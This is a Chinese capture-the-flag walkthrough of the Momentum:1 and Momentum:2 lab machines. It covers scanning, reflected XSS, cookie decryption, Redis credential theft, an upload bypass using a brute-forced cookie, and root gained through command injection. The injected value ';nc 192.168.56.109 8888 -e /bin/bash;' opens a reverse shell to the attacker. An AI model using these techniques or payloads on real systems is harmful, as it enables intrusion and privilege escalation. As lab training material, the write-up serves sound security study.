Momentum:1
具体流程
1、主机发现&端口扫描
nmap 192.168.31.157 -A -T4
开放端口22,80。
2、web信息收集
访问80端口。
目录扫描
dirsearch -u http://192.168.31.157/
没什么收获,换字典or爆破/js二层目录,发现/js/main.js中提示两点:
-
window.location.href = "opus-details.php?id="+str
-
crypto-js,AES加密。
var CryptoJS = require("crypto-js"); var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum"); console.log(decrypted.toString(CryptoJS.enc.Utf8));
'?id='老熟悉了是不是,这里可能有注入,sql or xss。
存在反射型xss。
这种反射型xss当下最多能够得到一个cookie。
回到crypto.js,百度得知这是一个JavaScript的加解密的工具包,支持多种算法:MD5、SHA1、AES等。这里明显就是AES解密,官方文档的解密代码如下:
var decrypted = CryptoJS.AES.decrypt(encrypted, "Secret Passphrase");
需要解密一串字符,已知加密字符串SecretPassphraseMomentum
,那需要解密的密文是什么。目前得到的密文只有通过反射型xss获取得到的cookie值cookie=U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt
解密脚本如下:
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"></script>
<script>
var encrypted = "U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt"var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum");alert(decrypted.toString(CryptoJS.enc.Utf8));
</script>
得到一串密码auxerre-alienum##
,ssh密码?
3、ssh登录
ssh auxerre@ip
pwd:auxerre-alienum##
get flag1!🎆
4、内网信息收集——提权
通过cat /etc/passwd
知道还存在redis用户,查看开放端口,的确开放了6379,尝试redis客户端。
# 本地登录
redis-cli
# 查看一下数据库内存储的键
KEYS *
# get命令查看查询得到的键
GET rootpass
获取一个密码:m0mentum-al1enum##
尝试登录root用户。
get flag2!🎆
Momentum:2
具体流程
1、主机发现&端口扫描
nmap扫描攻击机同网段。nmap 192.168.56.0/24 -Pn
对目标机进行全面扫描,nmap 192.168.56.116 -A -T4
,开放端口有22、80。
2、目录扫描
访问80端口的http服务。
目录扫描,dirsearch -u http://192.168.56.116/ -e*
3、文件上传
http://192.168.56.116/dashboard.html,文件上传功能页,测试发现txt文件可成功上传。
想办法上传php文件,通过抓包修改后缀名成功绕过(返回1则上传成功,0则上传失败),上传后保存到哪儿了?
~ Upload Your Research File about Owls这里提示上传文件至owls。果然在/owls/下发现我们上传的文件。
当前只是解决绕过后缀名限制成功上传了,但是无法利用。如何解决,如果有ajax.php代码就好了。dirsearch扫描备份文件,dirsearch -u http://192.168.56.116/ -f -e .php.bak,.zip,.tar,.7z
。
可以知道ajax.php的逻辑是满足以下两点则php成为白名单后缀:
-
cookie值满足
admin=&G6u@B6uDXMq&Ms+一个大写字母
-
请求体secure等于val1d
//The boss told me to add one more Upper Case letter at the end of the cookieif(isset($_COOKIE['admin']) && $_COOKIE['admin'] == '&G6u@B6uDXMq&Ms'){
//[+] Add if $_POST['secure'] == 'val1d'$valid_ext = array("pdf","php","txt");}else{
$valid_ext = array("txt");}
// Remember success upload returns 1
bp爆破cookie最后一个大写字母,先构造好请求包:
POST /ajax.php HTTP/1.1
Host: 192.168.56.116
Content-Length: 6559
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzWblB0WbTHck2yPX
Accept: */*
Origin: http://192.168.56.116
Referer: http://192.168.56.116/dashboard.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Cookie: admin=&G6u@B6uDXMq&MsX
------WebKitFormBoundaryzWblB0WbTHck2yPX
Content-Disposition: form-data; name="secure"
val1d
------WebKitFormBoundaryzWblB0WbTHck2yPX
Content-Disposition: form-data; name="file"; filename="kali.php"
Content-Type: application/octet-stream
反弹shell内容
------WebKitFormBoundaryzWblB0WbTHck2yPX--
添加payload,进行爆破。
R时响应包返回1,表示上传成功。
上传成功。
反弹成功。
python3 -c 'import pty;pty.spawn("/bin/bash")'
4、内网信息收集
-
athena和team-tasks两个用户
-
athena家目录下存在password-reminder.txt,提示
password : myvulnerableapp[Asterisk]
-
user.txt,get flag 1。
-
team-tasks家目录下存在两个文件note.txt和cookie-gen.py。
5、提权
登录到athena,密码经过测试是myvulnerableapp*(Asterisk是星号)
sudo -l
,提示athena可以不需要密码以root权限执行cookie-gen.py。
cookie-gen.py内容如下:
import random
import os
import subprocess
print('~ Random Cookie Generation ~')
print('[!] for security reasons we keep logs about cookie seeds.')
chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'
seed = input("Enter the seed : ")
random.seed = seed
cookie = ''
for c in range(20):cookie += random.choice(chars)
print(cookie)
cmd = "echo %s >> log.txt" % seed
subprocess.Popen(cmd, shell=True)
常规思路是往这个脚本中写入恶意代码,但是这里没有权限。仔细看了代码知道构造cmd,也就是通过输入seed的值构造命令行。
;nc 192.168.56.109 8888 -e /bin/bash;
nc -lvvp 8888
,成功反弹得到root权限,get flag2🎆